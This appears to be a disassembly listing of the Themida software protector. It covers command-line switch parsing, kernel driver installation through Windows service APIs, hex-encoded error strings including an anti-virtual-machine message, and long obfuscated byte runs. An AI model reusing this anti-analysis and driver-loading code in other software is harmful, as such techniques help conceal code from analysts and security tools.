		mov	[ebp+615130Dh],	edx
		sub	edi, 75270866h
		mov	cx, ax
		add	edi, 75270862h
		jmp	loc_5A88A8
; ---------------------------------------------------------------------------
		mov	ds:7F8D51ECh, al
		cmpsb
		mov	edi, 1957E6BEh
		sub	dl, ah


loc_5A88A8:				; CODE XREF: Themida_:005A8896j
		dec	ebx
		jnz	loc_5A884D
		pusha
		mov	[ebp+6152F35h],	ecx
		popa
		jmp	loc_5A8955
; ---------------------------------------------------------------------------
		dd 6775622Fh, 63656863h, 2F00326Bh, 63677562h, 6B636568h
		dd 6F662F00h, 72656372h, 2F006E75h, 63677562h, 6B636568h
		dd 6C6C7566h, 68732F00h, 6F63776Fh, 2F006564h, 776F6873h
		dd 65646F63h, 632F0032h, 74726Ch, 7369642Fh, 732F0031h
		dd 69776F68h, 6174736Eh, 65636Eh, 7465672Fh, 74736C77h
		dd 73757461h, 6F6C2F00h, 61747367h, 737574h, 6D75642Fh
		dd 61747370h, 737574h, 0
aCheckprotectio	db '/checkprotection',0
		align 4
		db 0
; ---------------------------------------------------------------------------


loc_5A8955:				; CODE XREF: Themida_:005A88B7j
		cmp	dword ptr [ebp+617EF0Dh], 0
		jz	loc_5A896C
		mov	dword ptr [ebp+61503ADh], 1


loc_5A896C:				; CODE XREF: Themida_:005A895Cj
		mov	byte ptr [ebp+61509C5h], 47h
		push	4A0D98A6h
		add	dword ptr [esp], 465FD3E7h
		push	dword ptr [ebp+6151685h]
		lea	eax, [ebp+6153B38h]
		call	eax
		call	eax
		mov	edi, eax
		cmp	byte ptr [edi],	22h
		jnz	loc_5A89BC
		inc	edi
		mov	al, 22h


loc_5A899D:				; CODE XREF: Themida_:005A899Ej
		scasb
		jnz	loc_5A899D
		cmp	byte ptr [edi],	0
		jz	loc_5A8CC8
		inc	edi
		cmp	byte ptr [edi],	0
		jz	loc_5A8CC8
		jmp	loc_5A89DA
; ---------------------------------------------------------------------------


loc_5A89BC:				; CODE XREF: Themida_:005A8994j
					; Themida_:005A89D5j
		cmp	byte ptr [edi],	0
		jz	loc_5A8CC8
		cmp	byte ptr [edi],	20h
		jnz	loc_5A89D4
		inc	edi
		jmp	loc_5A89DA
; ---------------------------------------------------------------------------


loc_5A89D4:				; CODE XREF: Themida_:005A89C8j
		inc	edi
		jmp	loc_5A89BC
; ---------------------------------------------------------------------------


loc_5A89DA:				; CODE XREF: Themida_:005A89B7j
					; Themida_:005A89CFj ...
		cmp	byte ptr [edi],	0
		jnz	loc_5A89E8
		jmp	loc_5A8CC8
; ---------------------------------------------------------------------------


loc_5A89E8:				; CODE XREF: Themida_:005A89DDj
		jmp	loc_5A89EE
; ---------------------------------------------------------------------------


loc_5A89ED:				; CODE XREF: Themida_:005A89F1j
		inc	edi


loc_5A89EE:				; CODE XREF: Themida_:loc_5A89E8j
		cmp	byte ptr [edi],	20h
		jz	loc_5A89ED
		cmp	byte ptr [edi],	0
		jnz	loc_5A8A05
		jmp	loc_5A8CC8
; ---------------------------------------------------------------------------


loc_5A8A05:				; CODE XREF: Themida_:005A89FAj
		call	sub_5A8A14
		jmp	loc_5A89DA
; ---------------------------------------------------------------------------
		jmp	loc_5A8CC8

; =============== S U B	R O U T	I N E =======================================



sub_5A8A14	proc near		; CODE XREF: Themida_:loc_5A8A05p
		lea	esi, [ebp+617EE8Dh]
		call	sub_5A8C44
		add	edi, [ebp+617EF22h]
		cmp	dword ptr [ebp+617EF22h], 0
		jz	loc_5A8A3D
		mov	dword ptr [ebp+61508F5h], 1
		retn
; ---------------------------------------------------------------------------


loc_5A8A3D:				; CODE XREF: sub_5A8A14+18j
		lea	esi, [ebp+617EE98h]
		call	sub_5A8C44
		add	edi, [ebp+617EF22h]
		cmp	dword ptr [ebp+617EF22h], 0
		jz	loc_5A8A66
		mov	dword ptr [ebp+61503ADh], 1
		retn
; ---------------------------------------------------------------------------


loc_5A8A66:				; CODE XREF: sub_5A8A14+41j
		lea	esi, [ebp+617EF11h]
		call	sub_5A8C44
		add	edi, [ebp+617EF22h]
		cmp	dword ptr [ebp+617EF22h], 0
		jz	loc_5A8A8F
		mov	dword ptr [ebp+6152E9Dh], 1
		retn
; ---------------------------------------------------------------------------


loc_5A8A8F:				; CODE XREF: sub_5A8A14+6Aj
		lea	esi, [ebp+617EEA2h]
		call	sub_5A8C44
		add	edi, [ebp+617EF22h]
		cmp	dword ptr [ebp+617EF22h], 0
		jz	loc_5A8AB8
		mov	dword ptr [ebp+61503ADh], 1
		retn
; ---------------------------------------------------------------------------


loc_5A8AB8:				; CODE XREF: sub_5A8A14+93j
		lea	esi, [ebp+617EEACh]
		call	sub_5A8C44
		add	edi, [ebp+617EF22h]
		cmp	dword ptr [ebp+617EF22h], 0
		jz	loc_5A8AEB
		mov	dword ptr [ebp+61503ADh], 1
		mov	dword ptr [ebp+61508F5h], 1
		retn
; ---------------------------------------------------------------------------


loc_5A8AEB:				; CODE XREF: sub_5A8A14+BCj
		lea	esi, [ebp+617EEBAh]
		call	sub_5A8C44
		add	edi, [ebp+617EF22h]
		cmp	dword ptr [ebp+617EF22h], 0
		jz	loc_5A8B13
		mov	dword ptr [ebp+6152FF1h], 1


loc_5A8B13:				; CODE XREF: sub_5A8A14+EFj
		lea	esi, [ebp+617EEC4h]
		call	sub_5A8C44
		add	edi, [ebp+617EF22h]
		cmp	dword ptr [ebp+617EF22h], 0
		jz	loc_5A8B3B
		mov	dword ptr [ebp+6152FF1h], 1


loc_5A8B3B:				; CODE XREF: sub_5A8A14+117j
		lea	esi, [ebp+617EECFh]
		call	sub_5A8C44
		add	edi, [ebp+617EF22h]
		cmp	dword ptr [ebp+617EF22h], 0
		jz	loc_5A8B63
		mov	dword ptr [ebp+6152FA9h], 1


loc_5A8B63:				; CODE XREF: sub_5A8A14+13Fj
		lea	esi, [ebp+617EED5h]
		call	sub_5A8C44
		add	edi, [ebp+617EF22h]
		cmp	dword ptr [ebp+617EF22h], 0
		jz	loc_5A8B8B
		mov	dword ptr [ebp+61525E9h], 1


loc_5A8B8B:				; CODE XREF: sub_5A8A14+167j
		lea	esi, [ebp+617EEDBh]
		call	sub_5A8C44
		add	edi, [ebp+617EF22h]
		cmp	dword ptr [ebp+617EF22h], 0
		jz	loc_5A8BB3
		mov	dword ptr [ebp+6152439h], 1


loc_5A8BB3:				; CODE XREF: sub_5A8A14+18Fj
		lea	esi, [ebp+617EEE9h]
		call	sub_5A8C44
		add	edi, [ebp+617EF22h]
		cmp	dword ptr [ebp+617EF22h], 0
		jz	loc_5A8BDB
		mov	dword ptr [ebp+6151351h], 1


loc_5A8BDB:				; CODE XREF: sub_5A8A14+1B7j
		lea	esi, [ebp+617EEF6h]
		call	sub_5A8C44
		add	edi, [ebp+617EF22h]
		cmp	dword ptr [ebp+617EF22h], 0
		jz	loc_5A8C03
		mov	dword ptr [ebp+6151E15h], 1


loc_5A8C03:				; CODE XREF: sub_5A8A14+1DFj
		lea	esi, [ebp+617EF01h]
		call	sub_5A8C44
		add	edi, [ebp+617EF22h]
		cmp	dword ptr [ebp+617EF22h], 0
		jz	loc_5A8C2B
		mov	dword ptr [ebp+6151085h], 1


loc_5A8C2B:				; CODE XREF: sub_5A8A14+207j
		jmp	loc_5A8C31
; ---------------------------------------------------------------------------


loc_5A8C30:				; CODE XREF: sub_5A8A14+229j
		inc	edi


loc_5A8C31:				; CODE XREF: sub_5A8A14:loc_5A8C2Bj
		cmp	byte ptr [edi],	20h
		jz	locret_5A8C43
		cmp	byte ptr [edi],	0
		jnz	loc_5A8C30

locret_5A8C43:				; CODE XREF: sub_5A8A14+220j
		retn
sub_5A8A14	endp


; =============== S U B	R O U T	I N E =======================================



sub_5A8C44	proc near		; CODE XREF: sub_5A8A14+6p
					; sub_5A8A14+2Fp ...
		pusha
		mov	ecx, 1
		mov	ebx, esi
		jmp	loc_5A8C6D
; ---------------------------------------------------------------------------


loc_5A8C51:				; CODE XREF: sub_5A8C44+34j
		cmp	byte ptr [edi],	0
		jnz	loc_5A8C5F
		mov	ecx, 0


loc_5A8C5F:				; CODE XREF: sub_5A8C44+10j
		mov	dl, [edi]
		cmp	[esi], dl
		jz	loc_5A8C6B
		sub	ecx, ecx


loc_5A8C6B:				; CODE XREF: sub_5A8C44+1Fj
		inc	esi
		inc	edi


loc_5A8C6D:				; CODE XREF: sub_5A8C44+8j
		cmp	byte ptr [esi],	0
		jz	loc_5A8C7E
		or	ecx, ecx
		jnz	loc_5A8C51


loc_5A8C7E:				; CODE XREF: sub_5A8C44+2Cj
		or	ecx, ecx
		jz	loc_5A8CA7
		cmp	byte ptr [edi],	0
		jz	loc_5A8C98
		cmp	byte ptr [edi],	20h
		jnz	loc_5A8CA2


loc_5A8C98:				; CODE XREF: sub_5A8C44+45j
		mov	ecx, 1
		jmp	loc_5A8CA7
; ---------------------------------------------------------------------------


loc_5A8CA2:				; CODE XREF: sub_5A8C44+4Ej
		mov	ecx, 0


loc_5A8CA7:				; CODE XREF: sub_5A8C44+3Cj
					; sub_5A8C44+59j
		or	ecx, ecx
		jz	loc_5A8CBC
		sub	esi, ebx
		mov	[ebp+617EF22h],	esi
		jmp	loc_5A8CC6
; ---------------------------------------------------------------------------


loc_5A8CBC:				; CODE XREF: sub_5A8C44+65j
		mov	dword ptr [ebp+617EF22h], 0


loc_5A8CC6:				; CODE XREF: sub_5A8C44+73j
		popa
		retn
sub_5A8C44	endp

; ---------------------------------------------------------------------------


loc_5A8CC8:				; CODE XREF: Themida_:005A89A7j
					; Themida_:005A89B1j ...
		mov	eax, 0
		or	eax, eax
		jz	loc_5A8CDF
		mov	dword ptr [ebp+6152FF1h], 0


loc_5A8CDF:				; CODE XREF: Themida_:005A8CCFj
		mov	ecx, eax
		jmp	loc_5A9D9D
; ---------------------------------------------------------------------------
		dw 4441h
		dd 49504156h, 442E3233h, 4F004C4Ch, 536E6570h, 6E614D43h
		dd 72656761h, 72430041h, 65746165h, 76726553h, 41656369h
		dd 61745300h, 65537472h, 63697672h, 47004165h, 614E7465h
		dd 65766974h, 74737953h, 6E496D65h, 4F006F66h, 536E6570h
		dd 69767265h, 416563h, 656C6544h, 65536574h, 63697672h
		dd 6C430065h, 5365736Fh, 69767265h, 61486563h, 656C646Eh
		dd 6E6F4300h, 6C6F7274h, 76726553h, 656369h, 8 dup(0)
		dd 6165726Fh, 3233736Eh, 7379732Eh, 2 dup(0)
		dd 65726F00h, 78736E61h, 732E3436h, 7379h, 0
		dd 6F000000h, 6E616572h, 323373h, 5C2E5C5Ch, 6165726Fh
		dd 3233736Eh, 2E5C5C00h, 6F6C475Ch, 5C6C6162h, 6165726Fh
		dd 3233736Eh, 65726F00h, 78736E61h, 5C003436h, 475C2E5Ch
		dd 61626F6Ch, 726F5C6Ch, 736E6165h, 343678h, 42h dup(0)
aSystemroot	db 'SYSTEMROOT',0
aSSystem32Drive	db '%s\system32\drivers\%s',0
aSSyswow64Drive	db '%s\syswow64\drivers\%s',0
aSSystem32Dri_0	db '%s\system32\drivers\oreans32.sys',0
		align 4
		dd 48h dup(0)
		dd 43330000h, 6F6E6E61h, 70552074h, 65746164h, 65726F20h
		dd 2E736E61h, 20737973h, 76697264h, 202E7265h, 61656C50h
		dd 202C6573h, 656B616Dh, 72757320h, 68742065h, 79207461h
		dd 6820756Fh, 0A657661h, 6D64610Dh, 73696E69h, 74617274h
		dd 7327726Fh, 72657020h, 7374696Dh, 65687420h, 72696620h
		dd 74207473h, 20656D69h, 74616874h, 756F7920h, 65726120h
		dd 696F6720h, 7420676Eh, 7572206Fh, 6874206Eh, 70207369h
		dd 72676F72h, 2E6D61h, 59h dup(0)
		dd 43330000h, 6F6E6E61h, 706F2074h, 6F206E65h, 6E616572h
		dd 78762E73h, 72642064h, 72657669h, 614D202Eh, 7320656Bh
		dd 20657275h, 74616874h, 65726F20h, 2E736E61h, 0A647876h
		dd 2073690Dh, 20746F6Eh, 6E65706Fh, 20796220h, 746F6E61h
		dd 20726568h, 676F7270h, 2E6D6172h, 67h	dup(0)
		dd 53330000h, 72756365h, 676E4565h, 20656E69h, 76697264h
		dd 63207265h, 6F6E6E61h, 65622074h, 64707520h, 64657461h
		dd 63656220h, 65737561h, 65687420h, 61206572h, 73206572h
		dd 20656D6Fh, 676F7270h, 736D6172h, 69737520h, 0D0A676Eh
		dd 202E7469h, 20756F59h, 6465656Eh, 206F7420h, 736F6C63h
		dd 68742065h, 2065736Fh, 676F7270h, 736D6172h, 20726F20h
		dd 74736572h, 20747261h, 72756F79h, 6D6F6320h, 65747570h
		dd 0D0A2E72h, 74736552h, 20747261h, 3F776F6Eh, 0D9h dup(0)
		dd 5C5C0000h, 724F5C2Eh, 736E6165h, 6478762Eh, 2 dup(0)
		dd 25000000h, 724F5C73h, 736E6165h, 6478762Eh, 2 dup(0)
		dd 58000000h, 746F7270h, 6E657645h, 74h, 0Ah dup(0)
		dd 65530000h, 74756853h, 6E776F64h, 76697250h, 67656C69h
		dd 65h,	72430000h, 65746165h, 6E657645h, 50412074h, 72452049h
		dd 20726F72h, 6C696877h, 78652065h, 63617274h, 6E6F6974h
		dd 65687420h, 69726420h, 726576h, 45746547h, 7269766Eh
		dd 656D6E6Fh, 6156746Eh, 62616972h, 4120656Ch, 45204950h
		dd 726F7272h, 69687720h, 6520656Ch, 61727478h, 6F697463h
		dd 6874206Eh, 72642065h, 72657669h, 65704F00h, 4D43536Eh
		dd 67616E61h, 41207265h, 45204950h, 726F7272h, 69687720h
		dd 6520656Ch, 61727478h, 6F697463h, 6874206Eh, 72642065h
		dd 72657669h, 65724300h, 53657461h, 69767265h, 41206563h
		dd 45204950h, 726F7272h, 69687720h, 6520656Ch, 61727478h
		dd 6F697463h, 6874206Eh, 72642065h, 72657669h, 6F6C4300h
		dd 65536573h, 63697672h, 6E614865h, 20656C64h, 20495041h
		dd 6F727245h, 68772072h, 20656C69h, 72747865h, 69746361h
		dd 74206E6Fh, 64206568h, 65766972h, 704F0072h, 65536E65h
		dd 63697672h, 50412065h, 72452049h, 20726F72h, 6C696877h
		dd 78652065h, 63617274h, 6E6F6974h, 65687420h, 69726420h
		dd 726576h, 72617453h, 72655374h, 65636976h, 49504120h
		dd 72724520h, 7720726Fh, 656C6968h, 74786520h, 74636172h
		dd 206E6F69h, 20656874h, 76697264h, 41007265h, 20434950h
		dd 6F727265h, 43203A72h, 6F6E6E61h, 69662074h, 5020646Eh
		dd 65636F72h, 726F7373h, 6F432073h, 6F72746Eh, 6C42206Ch
		dd 736B636Fh, 6C50202Eh, 65736165h, 630D0A2Ch, 61746E6Fh
		dd 69207463h, 406F666Eh, 6165726Fh, 632E736Eh, 66206D6Fh
		dd 7420726Fh, 20736968h, 6F727265h, 72h, 1040000h, 53330000h
		dd 7972726Fh, 6874202Ch, 61207369h, 696C7070h, 69746163h
		dd 63206E6Fh, 6F6E6E61h, 75722074h, 6E75206Eh, 20726564h
		dd 69562061h, 61757472h, 614D206Ch, 6E696863h, 65h, 6Fh	dup(0)
		dd 10000000h, 0
		dd 0FFFF0001h, 17FFEh, 10000h, 24A0000h, 0
		dd 0F0001h
		db 8, 4, 0
byte_5A9CF7	db 94h			; DATA XREF: Themida_:00579DE8o
					; Themida_:0057C7B0o
		dd 5000000h, 1000000h, 28000000h, 200000Ah, 53000000h
		dd 69767265h, 50206563h, 206B6361h, 32h, 1Ch dup(0)
		dd 53000000h, 7774666Fh, 5C657261h, 656E6957h
		db 0
; ---------------------------------------------------------------------------


loc_5A9D9D:				; CODE XREF: Themida_:005A8CE1j
		mov	eax, esp
		push	esi
		jmp	loc_5A9DAB
; ---------------------------------------------------------------------------
		db 0Ch,	0A1h, 0Ch
		db 0F1h, 93h, 0C2h
; ---------------------------------------------------------------------------


loc_5A9DAB:				; CODE XREF: Themida_:005A9DA0j
		pop	edi
		mov	[ebp+6151D09h],	eax
		mov	ch, 95h
		mov	eax, eax
		or	dx, 26Eh
		cmp	dword ptr [ebp+61508F5h], 0
		jnz	short loc_5A9DCD
		cmp	dword ptr [ebp+61503ADh], 0
		jz	short loc_5A9DE6


loc_5A9DCD:				; CODE XREF: Themida_:005A9DC2j
		push	eax
		push	ebx
		mov	eax, eax
		mov	eax, 43Dh
		mov	[ebp+6151385h],	eax
		lea	ebx, [ebp+617AA9Eh]
		call	ebx	; _iob
		pop	ebx
		pop	eax


loc_5A9DE6:				; CODE XREF: Themida_:005A9DCBj
		cmp	dword ptr [ebp+61503ADh], 0
		jz	short loc_5A9E06
		push	eax
		push	ebx
		mov	eax, 43Dh
		mov	[ebp+6151385h],	eax
		lea	ebx, [ebp+617A78Dh]
		call	ebx	; _iob
		pop	ebx
		pop	eax


loc_5A9E06:				; CODE XREF: Themida_:005A9DEDj
		mov	edi, [ebp+61514D5h]
		mov	[ebp+6152D01h],	ecx
		mov	eax, eax
		mov	[ebp+6152A99h],	esi
		mov	eax, eax
		mov	ecx, edi
		cmp	dword ptr [ebp+61508F5h], 0
		jnz	short loc_5A9E30
		cmp	dword ptr [ebp+61503ADh], 0
		jz	short loc_5A9E43


loc_5A9E30:				; CODE XREF: Themida_:005A9E25j
		push	eax
		push	ebx
		mov	eax, eax
		mov	eax, 0
		lea	ebx, [ebp+617A940h]
		call	ebx	; _iob
		pop	ebx
		pop	eax


loc_5A9E43:				; CODE XREF: Themida_:005A9E2Ej
		cmp	dword ptr [ebp+61503ADh], 0
		jz	short loc_5A9E5D
		push	eax
		push	ebx
		mov	eax, 0
		lea	ebx, [ebp+617A7F1h]
		call	ebx	; _iob
		pop	ebx
		pop	eax


loc_5A9E5D:				; CODE XREF: Themida_:005A9E4Aj
		mov	edi, [ebp+6151859h]
		push	0
		push	ebp
		call	sub_5A9E6E
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5A9E6E	proc near		; CODE XREF: Themida_:005A9E66p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 1Dh
		inc	ebp
		push	ebp
		retn
sub_5A9E6E	endp

; ---------------------------------------------------------------------------
		dw 0CDF5h
		dd 0D10757F4h, 7F933C80h, 6AC08Bh, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 140424h, 52420000h, 8589BEC3h, 61526D1h
		dd 6AC08Bh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h
		dd 55450000h, 0BD2B22C3h, 6152D71h, 8F5BD83h, 75000615h
		dd 0ADBD8309h, 61503h, 53501374h, 0B8C08Bh, 8D000000h
		dd 17A8729Dh, 5BD3FF06h, 0ADBD8358h, 61503h, 53501174h
		dd 0B8h, 0BF9D8D00h, 0FF0617A7h, 0E8585BD3h, 5,	0C07A279Fh
		dd 0E58509F6h, 5A061528h, 0A85BD89h, 0BD890615h, 61511E1h
		dd 0F53C08Bh, 28Ch, 59CF8B00h, 8D8BC08Bh, 6152ED9h, 8F5BD83h
		dd 75000615h, 0ADBD8309h, 61503h, 53501374h, 0B8C08Bh
		dd 8D000000h, 17A8D99Dh, 5BD3FF06h, 0ADBD8358h,	61503h
		dd 53501174h, 0B8h, 0D89D8D00h,	0FF0617A7h, 66585BD3h
		dd 0D3FBD781h, 1A25BD8Bh, 14E90615h, 0CE000000h, 0D3F14C48h
		dd 1FCCE47Ah, 676AFE42h, 0B50980A4h, 8B3792C7h,	52006AC0h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1B04h, 0C3524200h
		dd 0E226968Eh, 917CAD41h, 0C08BD78Bh, 1D850360h, 8106150Dh
		dd 0FA968EC1h, 0CA8A6125h, 8F5BD83h, 75000615h,	0ADBD8309h
		dd 61503h, 53501374h, 0B8C08Bh,	8D000000h, 17A80B9Dh, 5BD3FF06h
		dd 79BD8958h, 81061524h, 0F41E40EFh, 0FE924h, 0B6E90000h
		dd 90EEF2CBh, 251F2509h, 7AFB655h, 6AC08BB9h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 18042444h, 41000000h
		dd 0B384C351h, 0E9B90F53h, 9, 0E9DF7337h, 0F5806051h, 89C08B60h
		dd 15023D8Dh, 0F5BD8306h, 61508h, 0BD830975h, 61503ADh
		dd 50197400h, 0B8C08B53h, 7D0h,	13858589h, 9D8D0615h, 617AA9Eh
		dd 585BD3FFh, 3ADBD83h,	74000615h, 0B8535017h, 7D0h, 13858589h
		dd 9D8D0615h, 617A78Dh,	585BD3FFh, 0A9E98166h, 0D2EA8061h
		dd 8166C08Bh, 0C65D17D7h, 1509C585h, 0CA815306h, 25DABC72h
		dd 840F60h, 8B000000h, 15019185h, 90686106h, 0E999395Fh
		dd 14h,	0B2FFE26Ch, 208FAD52h, 0A1B2FCB7h, 0E0B491BAh
		dd 9F4C2E9Ch, 1685B5FFh, 8B600615h, 85BD89F2h, 61061508h
		dd 3B38858Dh, 952B0615h, 61518F5h, 0CEB1D0FFh, 2C98589h
		dd 8B660615h, 0C585C6D6h, 57061509h, 0D8D8D89h,	6680615h
		dd 81900452h, 0E4CFF9EAh, 85B5FF3Eh, 0F061516h,	858DF9BFh
		dd 6153B38h, 26C58D89h,	0D0FF0615h, 0E855006Ah,	3, 5DC35D20h
		dd 4246C89h, 4244481h, 16h, 69C35545h, 840F34F2h, 6, 2C71BD8Bh
		dd 850F0615h, 6, 26B58D8Bh, 85890615h, 61508BDh, 7AFABA66h
		dd 198F0Fh, 14E90000h, 0E1000000h, 0E36EB5C6h, 0F2896510h
		dd 0DECCF514h, 51588380h, 0C61E9FA1h, 1509C585h, 8D8B4306h
		dd 6153479h, 8121BF66h,	90702868h, 0FFD68BBCh, 151685B5h
		dd 18D8906h, 81061501h,	0B7BF09D1h, 38858D4Ch, 8B06153Bh
		dd 151D8195h, 6AD0FF06h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 19042444h, 45000000h, 7C03C355h, 3C7CC2EFh
		dd 0FFD78166h, 75EE806Ah, 339D8589h, 0C6F50615h, 1509C585h
		dd 81664C06h, 684F36F7h, 0D9DA1CE9h, 6DF8166h, 85B5FFCEh
		dd 8B061516h, 150C1195h, 38858D06h, 6606153Bh, 0FF17CAB9h
		dd 0BFC3BAD0h, 85890B21h, 61507D5h, 0E850006Ah,	3, 58C35820h
		dd 4244489h, 4244481h, 15h, 40C35040h, 0C585C619h, 46061509h
		dd 22E59D89h, 14680615h, 0E9BADE06h, 9,	9D84F6E3h, 6D96B73Ah
		dd 85B5FFB2h, 66061516h, 1EBEF181h, 26F98D8Bh, 858D0615h
		dd 6153B38h, 0ECC9E981h, 0D0FF4520h, 85897FB6h,	6152629h
		dd 0C585C6F5h, 47061509h, 6820Fh, 0E1810000h, 718A0FB5h
		dd 0FB5E268h, 18C0F8Ah,	0F5000000h, 1685B5FFh, 0C88B0615h
		dd 3B38858Dh, 0BA660615h, 0D0FFA284h, 270DBD29h, 85890615h
		dd 6150E1Dh, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 1Dh,	75C35040h, 19FC3456h, 0DDA27B97h, 0C585C611h, 47061509h
		dd 0E6CA8166h, 0B5F368E8h, 852983D0h, 6151575h,	1685B5FFh
		dd 6A0615h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h
		dd 53430000h, 9C9901C3h, 6B259D51h, 38858D26h, 6006153Bh
		dd 5A431DBBh, 91BF661Fh, 0D0FF6191h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 14h, 8FC35040h, 0C6B6BA66h, 0F2DA8052h
		dd 0B185895Fh, 6A061504h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1C042444h, 40000000h, 0D80FC350h,	7D6EA7ECh
		dd 80F33C60h, 85C6E2CAh, 61509C5h, 56006A77h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1904h,	0C3564600h, 54D3EBFAh
		dd 68F9B00Fh, 0F397A8A3h, 11C28166h, 89B5FF1Fh,	0E8061507h
		dd 0Bh,	0D2B3D5C9h, 0C494F932h,	66A780A2h, 5AD0B4BAh, 5890Fh
		dd 81660000h, 8D0F6DDFh, 153B3885h, 45858906h, 0FF061511h
		dd 50006AD0h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1704h
		dd 0C3504000h, 0CAB93B8Ch, 2F298589h, 6A0615h, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 1B0424h, 50400000h
		dd 0CCB58C3h, 5E78AEE3h, 0E2816606h, 85C647FBh,	61509C5h
		dd 0E58D8B47h, 68061523h, 8728FAF6h, 0FFD38B66h, 151685B5h
		dd 0EDB53106h, 8D06152Fh, 153B3885h, 45958B06h,	0FF06150Ah
		dd 0EF8166D0h, 85894537h, 61516DDh, 0E856006Ah,	3, 5EC35E20h
		dd 4247489h, 4244481h, 1Ah, 8C35646h, 8438843h,	0D18B5EB0h
		dd 2925958Bh, 85C60615h, 61509C5h, 6EFC6843h, 12E9BC8Eh
		dd 3E000000h, 0C521D995h, 0B9001DE5h, 0D5A73991h, 0D12D5E41h
		dd 85B5FFEEh, 0E8061516h, 0Dh, 0AC05D86Eh, 0C4B4955Bh
		dd 0A51B3C2h, 0E2816605h, 8D5F69EEh, 153B3885h,	6AD0FF06h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 19042444h
		dd 41000000h, 0A676C351h, 9DCEDA30h, 89F5F88Bh,	1510F985h
		dd 10E906h, 30AE0000h, 99A681D2h, 2A10C2FBh, 0AC91C282h
		dd 0BF0F63C7h, 0C585C6CFh, 45061509h, 1190B966h, 72696968h
		dd 0C981668Eh, 99B968BBh, 0FF17F8DEh, 151685B5h, 2DB52906h
		dd 8D061529h, 153B3885h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1804h, 0C3564600h, 45C5C18Bh, 29B9665Fh
		dd 0FD0FF70h, 8589D2BFh, 6152669h, 7BD18166h, 0C585C672h
		dd 44061509h, 0FDF18166h, 6468FC16h, 6AB8F2ECh,	3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1A042444h, 45000000h
		dd 0CA40C355h, 6EB9F94h, 0E7B96651h, 85B5FFD8h,	66061516h
		dd 8166FA8Bh, 8D8CABF2h, 153B3885h, 0FFCF8A06h,	1BD31D0h
		dd 89061521h, 15097D85h, 8FBA6606h, 0C585C655h,	43061509h
		dd 10CF8166h, 0CD958B0Dh, 68061519h, 0C0764AA7h, 8F18D8Bh
		dd 0B5FF0615h, 6151685h, 0E855006Ah, 3,	5DC35D20h, 4246C89h
		dd 4244481h, 19h, 0C6C35545h, 44AFFD0Dh, 5BD092Dh, 0F061534h
		dd 858DFABFh, 6153B38h,	6D88E281h, 0D0FF5534h, 1A058D31h
		dd 85890615h, 6150DCDh,	7019D89h
		dd 0BD800615h, 617FEA5h, 0E4840F00h, 6A000000h,	3E85000h
		dd 20000000h, 8958C358h, 81042444h, 15042444h, 40000000h
		dd 0A91FC350h, 8B5B589h, 858D0615h, 617FE87h, 0D958D89h
		dd 0AAB20615h, 9BA6650h, 6A016A67h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 15042444h, 43000000h, 0ED7EC353h
		dd 6AD3B70Fh, 0EA816600h, 6AFA9Fh, 1CB19D89h, 95FF0615h
		dd 615339Dh, 0BD8589F8h, 89061503h, 150CC1B5h, 6AFF6A06h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1D042444h
		dd 43000000h, 0AD2FC353h, 9CD5B88Ah, 0A05CEB0Dh, 1DE5958Bh
		dd 0B5FF0615h, 61503BDh, 0E851006Ah, 3,	59C35920h, 4244C89h
		dd 4244481h, 1Dh, 6EC35141h, 0B2CFC069h, 0CF7F2C02h, 8D8B57FBh
		dd 61528B1h, 0FFCE8B59h, 1508BD95h, 8BEC8A06h, 0B5950BC0h
		dd 83061512h, 1508F5BDh, 9750006h, 3ADBD83h, 74000615h
		dd 8B535019h, 7D1B8C0h,	85890000h, 6151385h, 0AA9E9D8Dh
		dd 0D3FF0617h, 0BD83585Bh, 61503ADh, 50177400h,	7D1B853h
		dd 85890000h, 6151385h,	0A78D9D8Dh, 0D3FF0617h,	14E8585Bh
		dd 0DB000000h, 585FBA6Fh, 7A6F1B2Dh, 0AA6E4A78h, 0F3387A2Fh
		dd 890547BCh, 1522D985h, 6A5F06h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 140424h, 57470000h, 0F2B52CC3h, 6AC08Bh
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 170424h, 55450000h
		dd 387441C3h, 0C585C65Dh, 47061509h, 81B52960h,	6106150Dh
		dd 0C8F7C168h, 52006A93h, 3E8h,	0C35A2000h, 2454895Ah
		dd 24448104h, 1904h, 0C3524200h, 0F9DA0D25h, 0FB8BEFACh
		dd 1685B5FFh, 858D0615h, 6153B38h, 5FE3B556h, 8B50D0FFh
		dd 0FFB70FCBh, 2C8858Dh, 85090618h, 61503B9h, 9400C7h
		dd 85290000h, 6151041h,	0ABB9C281h, 895820B3h, 150A6D8Dh
		dd 0A18D8B06h, 8D06150Bh, 1802C8B5h, 53006A06h,	3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1904h,	0C3534300h, 0F224B2D1h
		dd 8B667AA1h, 0D19D01CAh, 60061506h, 2489EEBEh,	3C38178h
		dd 611BAEDCh, 6AD0FF56h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 17042444h, 46000000h, 5920C356h, 0B70FAA14h
		dd 9D8956FEh, 6150BF1h,	0C8858D5Ah, 6A061802h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1B042444h, 41000000h
		dd 7D39C351h, 0BCCE8B11h, 95897790h, 6152D81h, 6047883h
		dd 16850Fh, 0D68B0000h,	35C85C7h, 10618h, 950B0000h, 6152A25h
